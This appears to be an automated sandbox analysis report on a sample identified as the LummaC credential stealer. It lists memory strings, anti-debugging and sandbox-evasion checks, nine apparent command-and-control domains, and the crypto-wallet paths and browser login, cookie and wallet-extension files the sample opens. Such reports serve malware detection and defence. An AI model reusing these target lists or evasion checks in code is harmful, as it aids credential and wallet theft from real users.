f/qYm4Z1zwHEgNncIxfZLxmXpKdS038gkQhiIX2mCfmbCphPAvDvgJC1vT5zdmmfvbQkx/KDvnRAvaMVfVad7L+uTLuC4Et1xIZMrjcFyS9dVIXzs8fv0JCMR7D51h18T1q4TyJxn9CABb3vo9bZH300VEdSc47UIEzjtW1yyRgfe8xaBpKPAIBVqf3TFnn/zND1Y1OnDjRU+Qe1vUbNTL9KSC9Swf8AcFUtfmNW2d8tZJSXwnNfZMBsQ3F5Ms2Nmw/MXXLgr0KwtE1KgtJ4i73EMJI2M34UEEzjNXz2nRyvGug/kkEPEECVXb5DJulunJSk9pKXCqCQjQew+dWs/W4bLHzSoS+QMeFcKmKymW95sXCXAjPONBCcwzWNJlzcD8qpf/KRX5CwRc0O8/Ypv230hIO21w41FPkHthzWHT7/uojLg2Uu5ED1mdsHJtnfPRQEBxKT/tSQfBMlTdYNnA/KiI/SoZ+gEIWdrvMynfu9xXCSNjAOlFBMR5Yt5i0cbm5Jq2MFzwCEgNneczZJvw1UNIeycz7kkAzT1f1GzNxv+lhPMiEfkBCVDaqHwpluObFwlWCgqkVkHRe1DRLIeB9K6F9SMX+AcPW93lOHuZ+9tBT3ovNeVFDNo3UdBq19Ow6sX/MVyvRChe0es+aJa5+kVKcC9y0UoBxjxBnXOR2LCjibhxXPMABFXa5jZvnPzQQkN8LznsQg/ENFTbZNTG+qyP+yEct0pIUsWoaimq9stCQjs8fv0JCMR7D51k38fzqYT0Lhf8DwRa1eg6Z5T41UVIfC015E4Hxzdc2yyRgfe8xaBpMPwAHk6d93xw0fzXDxE7IDTkSA/AKVfPaNzH/q2K8iYd+Q4BUtrlNGaS9NpLR3pjfqROF4hjF/Jvycuwu8vhaRv7RFAV1+Q2ap3y10JIfyQ94EkJzj5W1mTTzvqogfQgGvsHC1OdpnJuibuDD2h2KDzkSh7PexmdYtnBsPyT6D4b6EoRFdrkcjHR8clKR38pNeBFBcg+RdVq2M34oYr+LBHwDwtHz+s2Z527lQ9OY2NopGwYyytR3izAj+nkgvRpRLcEBlnW7zlilf/bQkJ1LTnoQQPPKVrYZNXI9aiI+zsf9kRGFdrwcjHR3Oh4ajs8fv0JCMR7D51t18b+oJf2OxLwBA5d1e8+Z5/p005JdSw47U0OzD9b2iyRgfe8xaBpNPQeEhfz4zJuge3AD1Y1OnDjRU+Qe1PWZtbC+aCI+CAT/gwFXc/pOHuV/tpAQ38rPOtFC9owF5Ms2Nmw/MXYIgrUFhoVwqYrKZb3mxcJci8x5UMJwz5a3WnVxvykhfsvGvoMAFnR6z9slenJS0E7bXDjUU+Qe1zoYsmB7+qcuC4Qt1xIXNT6PGeY9t1HTnUuO+JCCM89WtVh2sLxoI/qKhf9CQIVk6g1cdGjm2hFUjMr9l9P13VOnWvTgajkhvcgE/8MB1rZ5jRvnP7URVtzLT3vRgTaO1rZYNvJ+67Ftmkb70RQFejlPWmS7ZtQB2JjN+gJV4g3Wd1j0837rIT0JxvyDQBdz+k2YZD11E5NfiY0400Jx3sZnWvHgajkqt8cXtY+SEqT8XJunbuDD0V4LzjrTwbEMV7WYNTF/K2A/igZ8gUMWdfuMWqe9NRHCTVjN/wJV4geQNZi2YHv6py4LhC3XEhZ1O40bJ363UdMcycx4k8Mxz9S3GPbzf6uhPklF/gPDRWTqDVx0aObfkptNCDoCRCGIhfaYJ+ZsKWX8iMS8gsNVtLvP2+d8dJHT3QqIudFAc81W9Nh1cL95Mu4LgS3XEh52uUcYp38m1AHYmM36AlXiDdd0WXfyPWsjvEsHfwBC1PQ5zt7m/jVTEV3JTHnWwfBexmda8eBqOSk
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: S6oj0LoSiL.exe, 00000001.00000003.1417278322.0000000000562000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: S6oj0LoSiL.exe, 00000001.00000002.1572396502.0000000000832000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: S6oj0LoSiL.exe, 00000001.00000003.1441405429.000000000538F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: NTICE
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: SICE
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: rapeflowwj.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crosshuaht.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: sustainskelet.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: aspecteirs.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: energyaffai.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacebudi.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: discokeyus.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: grannyejh.lat
Source: S6oj0LoSiL.exe, 00000001.00000002.1572255926.0000000000661000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: sweepyribs.lat

Source: S6oj0LoSiL.exe, 00000001.00000002.1572396502.0000000000832000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ~Program Manager

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: S6oj0LoSiL.exe, 00000001.00000002.1575704405.00000000052F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: nder\MsMpeng.exe
Source: S6oj0LoSiL.exe, 00000001.00000002.1571584223.00000000004FC000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.00000000004FC000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570420637.00000000004FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: S6oj0LoSiL.exe PID: 3200, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: S6oj0LoSiL.exe	String found in binary or memory: window-state.json
Source: S6oj0LoSiL.exe	String found in binary or memory: Jaxx Liberty
Source: S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: S6oj0LoSiL.exe	String found in binary or memory: ExodusWeb3
Source: S6oj0LoSiL.exe	String found in binary or memory: Wallets/Ethereum
Source: S6oj0LoSiL.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: S6oj0LoSiL.exe, 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
